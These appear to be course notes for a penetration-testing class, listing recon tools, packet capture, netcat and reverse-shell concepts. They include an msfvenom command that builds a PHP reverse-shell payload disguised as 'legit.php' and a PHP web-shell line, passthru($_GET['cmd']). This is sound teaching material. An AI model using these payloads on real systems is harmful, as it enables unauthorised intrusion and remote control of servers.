Course Website

- Refreshing issue - will be fixed soon
- Groups
- Late Points (4 points extra per week late [20% per week])
- Note-taking
    - Extremely important
    - Competition will be time sensitive
    - Should be doing with every resource, exercise, write-up, etc.
    - Keepnote (during engagement)
    - Excel (list of commands)
    - Collaboration (Faraday?, Google Drive?)
        - http://www.0daysecurity.com/penetration-testing/enumeration.html
- Video (https://www.youtube.com/watch?v=8ok7GJH1E3w)
    - Netdiscover -r x.x.x.x/x
    - Nmap -p- -A -oA
    - Burp
        - FoxyProxy
    - Nikto -output (must be .txt) -host http://ip:port/
    - Msfvenom -p php/meterpreter/reverse_tcp lhost=x.x.x.x lport=x > legit.php
    - Xxd
    - Msfconsole
        - Show options
        - Show advanced
    - File
    - Php - <?php ?> - useful functions
        - echo(“hello world”);
        - CMD Execution:
            - passthru($_GET[‘cmd’])
            - exec(), system(), shell_exec()
            - Lesser known:
                - popen(), proc_open(), pcntl_exec, fsockopen(), python_eval(), perl-system()
- Video Blog (https://r00k.io/2017/08/ctf-walkthrough-drunk-admin-web-hacking-challenge/)

Chapter 2-2.2

Nc.

- -nvlp (what does each do)
- -K, -e
- Notice the command are different on windows then linux
- “Catching” a shell
    - Metasploit multi handler
    - Pty, tty, Magic Shell

        - https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Reverse vs Bind shells

- which is better based on firewalls and acl

Alternative callbacks

- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Capturing Packets

- Wireshark
    - Pros:
        - Visual Display
        - “Follow TCP Stream”
        - Can extract data (unencrypted or encrypted if have key)
    - Cons
        - Difficult to use with a lot of traffic
        - Requires GUI
- TCPdump
    - What is -n? -r? -nX?
- Scapy
    - Command line python
- For competitions:
    - Need to be able to do command line. See who is talking to who. What connections are being made and on what ports is generally enough, read data if using unencrypted comm means (ftp, telnet). Most likely not advanced filtering

Passive Information Gathering (limited importance for us, huge if a real PENTEST)

- Google (public)
    - Site:x.com (only domains ending in x.com),
    - -site:x.com (-site means do not include)
    - Filetype, inurl, intitle
- Theharvester (public)
    - -d <domain> -b <searchmethod>
- Whois (public)
- Recon-ng

Active Information Gathering

- Use www.megacorpone.com to test
- Note megacorpone.com does not resolve, just www.